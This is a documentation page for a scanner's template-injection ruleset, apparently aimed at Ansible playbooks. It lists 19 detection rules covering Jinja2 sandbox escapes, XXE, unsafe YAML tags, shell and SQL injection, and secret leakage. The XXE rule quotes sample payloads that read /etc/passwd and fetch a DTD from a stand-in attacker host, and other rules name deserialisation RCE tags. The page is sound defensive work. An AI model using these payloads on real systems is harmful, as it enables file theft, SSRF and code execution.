Template Injection
Detects template injection vulnerabilities and unsafe variable usage
19 rules in template_injection.yml
CRITICAL: 3 | HIGH: 11 | MEDIUM: 4 | LOW: 1
| Rule ID | Severity | Title | Description | Refs |
|---|---|---|---|---|
jinja2_ | CRITICAL | Jinja2: access to class / mro / subclasses / globals (sandbox escape) | Classic Jinja2 sandbox-escape primitives. If the template is ever rendered with attacker-influenced vars, these expose arbitrary Python object traversal and ultimately arbitrary code execution. | |
xxe_ | CRITICAL | XML External Entity (XXE) - DOCTYPE With SYSTEM Or PUBLIC External Reference In Template/Config | A task renders an XML template, config file (web.xml, pom.xml, log4j2.xml, SOAP WSDL, XSLT, SVG, DOCX/ODT content), or inline XML string that declares an external entity: <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>, <!ENTITY % xxe SYSTEM "http://attacker/evil.dtd">, or a PUBLIC reference that fetches from http:///https:///file:///jar:/gopher:. XXE is the classic XML-parser flaw: the default behavior of Java/PHP/Python/.NET XML parsers is to RESOLVE these entities - causing file disclosure (/etc/passwd, /proc/self/environ), SSRF (attacker-controlled URL fetched from victim server), and on some parsers RCE (expect: wrapper in PHP, jar: in Java). XXE has been in OWASP Top 10 since 2013 and was #4 in 2017; it dropped out of the 2021 top 10 because it got consolidated into A05 Misconfiguration - but continues to show up in pentests (OpenCVE records 200+ new XXE CVEs per year, 2022-2024). An Ansible playbook deploying config with ANY external entity reference is either (1) a compromised template or (2) intentionally hot. | |
yaml_ | CRITICAL | YAML: !!python/object or !!python/module tag (deserialisation RCE) | A YAML document uses the !!python/object / !!python/module / !!python/name / !!python/apply tag family. If the file is ever loaded with yaml.load() / yaml.unsafe_load() / yaml.full_load() (any non-safe_load), the tag triggers arbitrary Python object construction = RCE. Even with safe_load this is an intent-to-abuse signal worth flagging. | |
jinja2_ | HIGH | Jinja2: autoescape disabled explicitly | A Jinja2 template sets #jinja2: autoescape:False (or autoescape: false in a template’s frontmatter), disabling HTML autoescape for the whole file. Any {{ var }} that renders to HTML is vulnerable to XSS. | |
jinja2_ | HIGH | Jinja2: lookup(‘pipe’, …) / lookup(‘url’, …) inside a template | A Jinja2 template invokes lookup('pipe', <cmd>) or lookup('url', <url>). The command / URL executes on the controller during template render - if any part is interpolated from a variable, it’s an RCE/SSRF primitive the template author can easily miss. | |
jinja2_ | HIGH | Jinja2: template renders a likely-secret variable | A Jinja2 template renders {{ something_password }} / {{ api_token }} / {{ jwt_secret }} etc. Unless the template is writing a locked-down config file (0600) that’s fine - but the pattern of rendering secrets into world-readable config files / html / json is a top-3 real-world leak vector. | |
jinja2_ | HIGH | Jinja2: |safe filter applied to a variable (bypasses autoescape) | The |safe filter in a Jinja2 template marks a variable as pre-escaped HTML. If that variable carries any user-controlled data (inventory var, lookup result, module output, HTTP payload), autoescape is bypassed and XSS / HTML injection is trivial. | |
template_ | HIGH | Jinja Variable Rendered Into $(…) / backtick Substitution | A shell/command/raw/template/msg value uses $(...) or backticks AND interpolates a Jinja variable inside the substitution. The rendered value is re-parsed by the inner shell - this is a command-injection vector distinct from the outer template context because | quote on the outer string does NOT escape bytes inside a nested $(...). Plain $(sha512sum file) or $(basename $f) WITHOUT a Jinja interpolation is a standard shell idiom and is not flagged. | |
template_ | HIGH | Template Variable in SQL Query | Template variable directly embedded in a SQL query string - classic CWE-89 SQL injection surface when the variable is attacker-influenced. | |
unquoted_ | HIGH | Unquoted Template Variable in Shell Command | A shell or raw task interpolates a Jinja variable WITHOUT wrapping the whole module value in quotes and WITHOUT applying the | quote filter to the variable. The rendered variable is then subject to shell word-splitting and glob expansion - if the value contains a space or metachar the task silently mis-executes or opens a shell-injection vector. command: is EXCLUDED because it does not invoke a shell - argv is tokenised by Ansible, so spaces / metachars in the rendered variable can’t cause word-splitting. Variables protected with {{ var | quote }} are also EXCLUDED because the quote filter is Ansible’s canonical shell-escape. Always quote the entire shell: / raw: value or apply | quote to each interpolation. | |
user_ | HIGH | User Input in Template | {{ … user_input / input / inputs / request / params / query_string … }} appears in template output. Untrusted input rendered through Jinja2 enables SSTI when the engine exposes attribute access to dunder methods. | |
yaml_ | HIGH | YAML: anchor expanded many times (billion-laughs / anchor-bomb) | A YAML anchor (&name) is referenced (*name) 8+ times within a short window, or a referenced value itself contains further references. This is the billion-laughs / anchor-bomb pattern: each level multiplies memory consumption exponentially and can DoS the parser. | |
yaml_ | HIGH | YAML: !!binary tag encoding a suspiciously long blob | A YAML value uses the !!binary tag (base64 in-file). Short binary blobs (tls certs, kerberos keytabs embedded in vars) are legitimate but > 2 KB of base64 often conceals a packed executable, shellcode, or malware binary smuggled into a playbook. Flag the pattern for review. | |
yaml_ | HIGH | YAML: generic !<…> tag that bypasses safe_load type checks | A YAML value uses a fully-qualified !tag:... or !!js/function / !!js/regexp / !!perl/* tag family. These are interpreter-specific tags that rely on unsafe loaders - if this file is ever consumed by a non-safe loader it’s an RCE vector. Even in Ansible-land this is an intent-to-abuse signal. | |
jinja2_ | MEDIUM | Jinja2: {% set %} value pulled from controller env var | A {% set x = lookup('env', 'SOMETHING') %} in a Jinja2 template reads a controller-side environment variable at render time and bakes it into the rendered file. This exfiltrates controller env (SSH keys, cloud creds, CI secrets) into the output file if the variable name is ever attacker-influenced. | |
template_ | MEDIUM | Template Variable in File Path | Untrusted template variable used in file paths without validation - potential path-traversal sink | |
yaml_ | MEDIUM | YAML: duplicate key in the same map (silent override) | The same key appears twice in the same YAML map - PyYAML silently keeps the LAST value. If the file is reviewed bottom-up or in split diff, a reviewer can easily miss that an early security-relevant value (e.g. no_log: true) is shadowed by a later no_log: false. | |
yaml_ | MEDIUM | YAML: merge key («) pulls in a map that contains secret-shaped keys | YAML merge key <<: *anchor pulls every key from the anchored map into the current map. If the anchored map carries a key matching a secret pattern (*_password, *_token, *_secret, *_api_key), merging silently scatters that secret into every place the anchor is referenced. Review each merge site individually. | |
jinja2_ | LOW | Jinja2: {# #} comment mentions TODO/FIXME + secret-shaped word | A Jinja2 {# … #} comment mentions TODO/FIXME along with a credential-shaped word (password, token, secret, api_key). Often these are ‘TODO: hardcoded for now, rotate later’ notes that never get rotated - they’re a leak indicator for reviewers even if the current value is placeholder. |